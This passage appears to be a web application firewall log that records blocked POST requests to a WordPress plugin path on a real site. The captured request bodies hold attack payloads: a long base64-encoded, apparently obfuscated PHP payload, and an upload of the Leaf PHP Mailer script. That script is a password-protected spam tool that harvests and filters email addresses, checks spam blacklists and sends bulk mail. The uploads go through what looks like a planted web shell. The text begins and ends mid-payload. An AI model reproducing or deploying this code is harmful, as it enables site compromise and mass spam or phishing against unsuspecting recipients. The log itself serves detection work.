BHd1lPejNuMGxGbG1WaGhYYzVUUjc4TjZyUzFVc3JQQVZONjJrRE5OUExabmpZQXpYZUZkOUFSWWJ0VlpyNmZJODhNSC9aVFB2bXdkODQ1dTlVdXpWdGdnd2xqTXdteWdORGlLa0pWNGlIaGEyaFo3Q3d0cmVxekw1TVA4cEgxeUdxWldiNXlTVG1xcWwzdTNSWllGckpoTVZldUVFbll2NkxZOHFEbStIdzFHQ0VpYlRhdWM3T1d0OWdaMHZiMjUzSVpBOUs0S1BCNkJGNWl5aFA5bHh4Sm9zN2oxbThLQXR5ZnBibmNodXhYSWJmMGRCY1lJM2ZNTmpXWmlZNzZEdGRTN3E4azh1Sk9oZXJIQzF0bmNNK2Y2KzJYeDFIN1FWNGplMFJIVitHelpXWlJsUEdVZUszTTdxTndlUVZsc3B3MHk3aXVkMWRkeTh5Zjdia2lZdFJvUllZdGFkdVVNU1ByZkhhT3dGZ0JFN1oxdkN3TVArZFhOSDB5NnY4VkNSbzZaY1FLOTNQOXZEWllLMkhvN0s2dkw2d1ZKZ3o4aG1nUk5Pek9zK1lFU0NqeGNoM0Z0YTJ4aGo0ZkdsQkhaUmtQTmZxQmp6N0loVFFraTVteUhqWGdiZk8rYUVEcXlCL3lHcmRoM0FXNmJZc0UxOFlQRHM4RUlwbmZwWDVPRU4zWXhJZzRjeW9COEw3bmNmcW4yc3R6UU5WNktHRzZYMGpSTDFqMUZmZEdVQW5xcGFwNHJxNDE3WU10am9mWE94RUk0WkhXM1hvWTVTdW9ra0tGV0ZSYVY3NkowOEdvOG9TVTdwT3BKSVRac25EWVgyZ2FtWDRoMHpzOWhFVUh5NjYvbjFhY2NwdE9GRytQNjM4YVhyNXhkWmdtRmFjcDBXY0tJM0pFOU94MTlNcVpyUnJSaFBKTXNWZG93b1JsUkd4cHRLVyswdmdsYzNFTzgvRldIcUpsNWlhTGpZd1F2c1hPTHJQUi9zamc5RkQyYmhsaGs5MGc5UE0xMTlSbXBuS2paMnM0SG9nVGM0Z3U4MU43eHc2Y2ZENTRGUnQyYUliQktJejZUZFhNakkwU3VXNWYrZ0JteEd3aUJUYzAxUm1MUUd0ZEwyeElXNms4KzVVRjU1ZGtKUGowdEZ1RktSTkNra1pqT3BuRk1XS2FSR3l2cHZmdi9FcG9zSlp0Y0xaNW0veE1GcnBoV1F3TFJFYXkvMzRVWWJHU2k4ZkQ1Q2xCOGtLWFMxSVZockNVYUQzTUI3RWkzWFJhWStyKytXQWZ6Vnk4ZzhZdG00V3hpYnhENjgyVU5WS3dTVFFpQlZFb2VKa0ljQzdteDlrQjJFYTZzbjJmcVlpSWRtRG8wNTRwK0E3V2J6RWk1ZmVXcnpJaXhkZktmN3pCMlc1b3dWODJaRDVobWE1STFPaldRK1hmeE5KakFRenA4SVRwR2xsUXkyaytRUnF3aTFzUW42S1BEVE5wdldWcnZaZ3V4T3g4c1h5cldMWWE0bTFWRm9vTFRBKyttQ0RQT29iTGQvb080MGVxQjFPQitZZTkwTVdVV2dGc3h1bTVwVE9DOFRRMDBMdmVyN2FzOHRpTC90cnB4RktYRnhrT1dRdW9KZ1d0ZTgxdXdDQzFObVJnNUk3MHFzcnY5U0UxZXFoTi8rY2ZxVFJyTjkwamtCYzhVZmtzNWZsTVVtNWxKeWFIa21xRnNYVGhTZlFsanJIL1NzOXlyZEtkL1o2RjFwSmNXZ0dYbFhFWDZYTnR6S0NrS0ZBWHIzZEYybjhrbllCVFVxb2RCREVzNVJ4YTFtZjhxcEU1aGJob29EUDNDN0g1cnVaeUxxbDNTaEVQM0tuUlpRaVQ1YU1PVWFCOGM5SHQ4OGRXYmIrYVd3Y3JzS2tPdDJzbmNPSDNEOXhWZnFua1RlL2d2NzJUOVNyLzVrZFdEYmVtOTQ4M2R5NTVHa2haNEdSeGozajRPaDB5eWdhWit1Yis1dTFUSGJjZDRZUFNyVXhlWm5ZTlFUOVJQYXhWM3E2TjlqaWhkZUszRmJpYVExTHNiaU1XdlpEa2I0TWpUT1NtUWIyK1JWc0dhcjEzc0JWcW5uN2VQNmtpczZVbzU1eWtJUFpDN1hQUUJQdkVxcDRQYlpmRDJFbGdFV3EyM3dZaHFETzhZZHUwOVJTeHhJQU5iZ0xDd3QvTTJUbSt4SVBOazJKNzJXdzZVUWFSNGx4cTcyNkJhdm9tcnNtSTBJQXhpZUYxZ0VvTVBiVnpaVThtNWlaaVIzQlZ6YlhyK3Erd1JxbHhUTmxtQzJValU5QVpjLzhCbkxqUTdick9qYnZWNXZIRExqb2pUSGo0UEhhWFhOTGRXcmliSi91TUdoMnpMSzZaSm04dy9vM0F5QWZHN2tRdW1samlHVFY5SStzbkFWcGJnS0NabkxSLzVtTHI0a2lmbjJ5VnVZVzFxOGZrZGhmam9RKzFFcEdxaVM2c0hELytrSlMwT1NNYVNhOWhTdlBheGZPdHNHSW9PcHlNTjRpWW9QMjc5aHRIdDNVNExGTlA4YW9SWmQvOGhsekdyNW1TbzdZYUdLS2tmbVNnTW1UQlZ4c3VhQm5CdWZuYS9JWXQ4Z3ZzbXBEOVVmOFo4Slp1MEo5WnhlN2c2UEh0STBieDUzUFhROTNIN2wvWk04T3o0L1d4VHcyOVhsY0lUelk2WEg3VVFXSi8wbm8vOENsU3BLZG1Jc1JxOG1wRmtrZnpMZzV4THMwaEJRalBrOU1NQW1yZkxEcjdSbU1Ic3BEdEZET0k3V0IxZitSZEVveGpiUHFRWFhmK0dmS2NKai9wSzcrUTNadjBodGIrbFZPQWIxWjI5bzZ3bmFwa2JRMlhtMkNTOE4yTUZVYTBvUm5OUGd4Vm54MCtzZXdwK3orSHJIaXpGL0ppa1ZqSllVTGFid1p6WkRKdlVkOEpvbk5SYjljM0ZnMTJNUFYwemlTbmFZekdOck8wK1lMQ3l5M3NldFpBR1Erd2EwQ2JPSWVMNHZYVjlyS3JWUUVuaDM0SlUyQVp6ZHVnTURtVnBVVlNnc1VYVGVUR3NMVFVYdmhHU2JaWUhnVlhRVXhSV1owWGxhMHEyNHJpbEJxa3drSys0MVMxNU5YRXBNTkNRZ3I3cWN2YU9OZmNiL0VTdVh3Slk5b1E4QmxzSTJKcUcwOHRFd1VzQTJGUXdtZGRIbGR6K1ZYbnVrSkxYS3VvRitBVmxmZUg0MnUzYUVCNjNyekNGZko5bGx4UStsaFVZbktmblhoUGdBdGpCZWo3eVhWUnFWMjFMZ0FIYTA3MXl2S2NQQThKeUlVd1B1VHVLYWUyTTZkd2FpZ0JsOG5jWVhxTXlvcjVBZnZLV3pJMFlkKzU3NjUyVFVZUGFKUjZvZ3g0Y1JCd25kMGtyNUd2QXIxbVZFUDFXVnpqcmNLZDVJUVl3UkJCUFlaaGFYbWdjR0loV1RYaEtJdmUwYU14YmJtOXE4R3FnekdsQlpqRWRkeWlqRU5hRUxua1VBTHB4Y0xNQ2JVdmx3bDFKaFFXNHdLaVRHaE94NXFVRVozeFpzYUFPQ1A1RFg3MzFBbDByWEd1Q2tocnVlbEpIcmhHVlhWcXBzcUxFanRZZVdud2U1T0pDd3dzMWl4TXVpMFhhZkRVcExsRXNoazJvNjNLOWk4L3FTU2pkbzEvL1NhYXEzaXVVU0xGY2tuUnRKS3MxVnJOSm1hd3RXVUt2MkVPVWZZcGljSVM4UWpxakhTSU45czU3czhmbDdFVUZ4Y1RDdVN2NjYvcWh2Q3BqU1VLb09SQ3FlZVZCRXhGM0pBMFZnb1oxenFvR1JVM0FWRitQaXVSOXRxUXJzYkx4MUFZeE9ocTFWUWNkUFRZdXMwT2hjOTBCSnBnNkRVRUJraVFwYWlwWXhSNFdoVkpuWEY5NlN6N2txM2EvWFEwazk2TUdyQjlBclhXVXlWd3dPOXZHRy9Mbk0rQ2JtRmJ6SzN1V0xlakw4MFlWSFhNZ0dxVlYwUGE2T1Zsdm84V2J2RXNYY3FkU2pmdmVnOW03Yk1TWHZUQnhFMDI5U2JlNk5pR1plcG5oUWtVNGp6bXg3Z0RZVTNibFJGazNrZTloUzNjeFJSVCs3bFhwRGF0QjlrTkI5MHMzcHlBdWx6amphcWpPd0owUUxFZmJibGJYbHVscWZyNjZuMysrTnUyMXp4TVNXeFk1TmRoc0NTNkt0UTQ3ckVTSldyWk9oZ3RMdVdqUDBwOHNxUnE1TmtjZG93TTlvK1MxcWdZelkxaldJSWgwdHpqaVlETGlNanNHd2h5dnJ1OU4zaEE2ellJaWxFYnRJZS9sSk9wNG15MGVTUUlzS1FaZElsRDZJU1dhMGlMQ1lzOEtsb0RIeS9MMUNackpDQ2l5cjBQbVFtTFArcHVFQ2hybVhqV0pQa1NGWkt3VWVXZVFzNjAxMTJIbXBPdncyZ2psZVVlYVYwMkFEdXA0ZmkvcVlqZHdScVJadTJ6UkhzV1ZxZEMyRmZRUS9CUElhb05NVS9DTEFaSHloRXpzY2pEeEFwdTQ4WFUxeno2WFNXMFZsdHF1TWFXUndaMlI5bFovalJSbHhqVDM5YnVWdHJvem1sMW15V3RlMnB3amN1RGxlMEFCZ1J1WGpJaGVUUmthYjc4OGdpY1VDWk9IbVUzSGlEVEh4QkZHN1hqb2Q5ZzlGRFRtYlprK2hrU0k1SjRvUW81cGFsd2tpVjl1YU9NSlRpcUtmdXUvei94NG5KNDhURCs1T09qL21ha0ZqS05ObllpT3lTRmFJZ0kzYVRHNGZrcEpVYkF1SkdSbUJmV05QK3VnTktMVERKWkxsb3VhQ3pSa2FuZjlFMlBwNWlEZWpSdXdyeFFrM1pYdE5paHpJQW1weC9MTWRmNXJtckFyK3J5YStmaWtpZWpPZXBoL2tDdzJXSVhKaEdIb05iNkJIMnMwWnQ4M3gvOWNLZ1FxSFhHM1o5TzdVZ240VzRacEoyYzNSMldEWE9UamRyaDFVMDgzQlVrTDgvVUU0UUNZaGw2UFRvVVQ4dDR0cFlSdVM3a2pGa2FYK2F1clhYQWpoS3VQcDB4bTNNeElSdWZpNlhRTFlST1lscFJDUmVJaTJqQW9ManRJN0ZMVmhTVmFNMktuUFc4VGFNRGoxNDNZcVU5QlFBZU8zZ2Flc1VFOXV2SGl1eGJQNHpUcnQvR3B2N2E2dG54dWJaNnVicHVuRjV0Sk5zaDV2aU1YeXJkVEtFM2UxUjRhZ1Z1Ymk4bXhVcVM5NUpHK2J0OXNGU1NkNlpFYVlKOU4zQUhkSFpIRlJoOUtBQ01wL2E1aWdZWGhpTStoV2o0OFBuMGU2V3dlaWhuU2g1dDk0dHkweGdLTjlQUVJMRFBTTXlRc3ZjOEIrdVFSNVQ2MVBwK09KWUVkWFlxdFdlVStrcWtLd2lMQ1JubmpxZDN5eUxvTFBvYk1CSGpsSDdrdVE4TThtdmtCNFh4QmZtWHlhYngvUEFERjRWNUdBaXNOSk9RU1AwQ2hRRW9tWnk1cldaUEVIRytGeFdxTkNBeUg1ay9vbUF1WFVKLzR6TjhwLzZQS2ZFd25WS2hGSEhIQXhFNWE5cDAxNTJWNlcvaytJQUlRMDhOeDRZbldVd0lXTlNjZ2lENGJJUldRdmZKMHcwcmhXU0xENC9NTHdBYWlVWWNzSDR1OHEwYUNyQjk2bzBvcW5IYUNJSzlZSzNONHZ4b3lUekNXZ1ZZbGxHc3orU011TmVGQWNZVlVyUmxoNEdXSElOOTRLakllWitWdEhoZnNxU2M3eDFIcXpEN241My9VWTZwT1J5ZldRZDd6WmlIWjRmaUYvNEovckpvQjViaTcxZEVLZjBrRE8xUkJvbXg4QUkvSDR6T1RtcmkyNTlBMVpEL3BEVFRPNGNYVnBFK3VtRTFaSkxPaGZGL1N1RFVRZGl3b2s2dzZpQVZDdmt3S05vM2FpSFkxQnA2Q0VkNEpqQXUrZjNXM3l2S1ZRNzRRTEJVendtbGpHU1FhTGU5ZkhST3N0eHZ6dWVCbHE4MXNWOUprR0k3ZnRkakZwQWo1UVZSU2xkd2swU3pRblRzY255U05JYnEwZjd5Y05vWXBVWUtlVUl2cEczS0l1bTJKQy94RkFLWlo1aU0wK2JhQUtIRmw2ZVYzUGdPVzRYRTJhSDlYYndOWVpLc3VzL0pTUnhDSFc2dXJPT3p3UkxhUkpaYTFIbTVTVDFrN2NuaEZFVUZDaG5UbnllOEpFVklibmZRYWxJTjM0VHJlZ0VwejZBMFh5VklxcDB2Q3R2Ulk4cXZ3bXJES2ErdFFhV1hlZWIyZDhNcStkMDdMQk9FeHNkSmt6eEJxRlphRnJ4M01tQ1R0K0I2Y3I5QlFhemt4WEVmTU9nNkZTZVpsMG1SU2xLNDkxSjhwZzFtbkxUVkt0Zm5BR2F5OFFicVRjd2wzOEQ2UTRDMUlGYUdNR1VmRWR3TjRJQlRZR3NKRUN3OC9nNWJkYStwK2VaVUlMbW5VOEFlbmQvYVIrbWQ3YlMzZnJjaGcwYlBmUXpGUW04WHlwZVg0Tm9INTBjU1M4TERmMEtyS1dZeGF1T0FiSTR6RCt3SVh6VEczcDE0YzVHNnUvVjNmd0NhTnNFTUxtRDVxcWM3Y01lVHFoeXI4K2FpU3EvTUg4cTFDOUd1Q2tQZmc3dkY0VWlIeUtPL2pzR21zc1lxaWw2OFdjNE80TDJoajc4Rk9xUkprRnhHOXhvMW1uZUNvVGVKVElKQU5WL1VWbnh6M291QmtVcExIclJsWWdrT3BtZk9KOEE1bzlsK3NQNGlYdDkrQ211d2dYR1QzVGZnaGY0TUg1aXFsN1l1OE52ZnFYdDUvZUMrZzJQak56dmkwSFNCNDhTakg0KzJBT2VJTnhpZWdqaHlhaUFSTGRVbnB0SERVYzB5aTBrNG0reC9kbmU5ekJMRGoyRWRrSmw4MlpGNU1qallVdm9aZVd5ZjFVOGdBMGNmMHpYSWxKSXhYL25PWFZnclVTYUdIa09WUFZac2RkRXQ5K3FsTkpZdk5oS2ZNeDV2aHJLV3hNdDd6bEtjWU5aMWdEbjBQUFg2L1dvR3VNaW8yODlRbC81NFMvL2t5RGhuejhNNllwTkJ3K1ZoZGJaeVlQQnlJNzZpaVUzMVgxUE1IaDdyM2ovYkRCNjZKYmM4VVJHQ0txZVpqTlVCdW4vQXlINy84cGcvWkZsVk9aNVNDc2pUNnQ1d2VMMGd0MkgybXZCL3Q4UzVsOTRGZXZaUnVTeGpGZ2NOOVFMZVRWV3ZVRDczNzc2QlR5NkUxVU94bWRxb0JEK1JJYnNSQVp0NFo1cHdzb0RQTXc5aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--926eb3fd351418041a6ed83fde2741c1\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--926eb3fd351418041a6ed83fde2741c1\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--926eb3fd351418041a6ed83fde2741c1\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--926eb3fd351418041a6ed83fde2741c1--\r\n"]
["2026-05-26 21:43:43","170.205.30.68","POST","\/wp-content\/plugins\/tvdqv\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/tvdqv\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=86a3452b28eeb866caea6ce8248145e8\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--86a3452b28eeb866caea6ce8248145e8\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"mxffr.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link 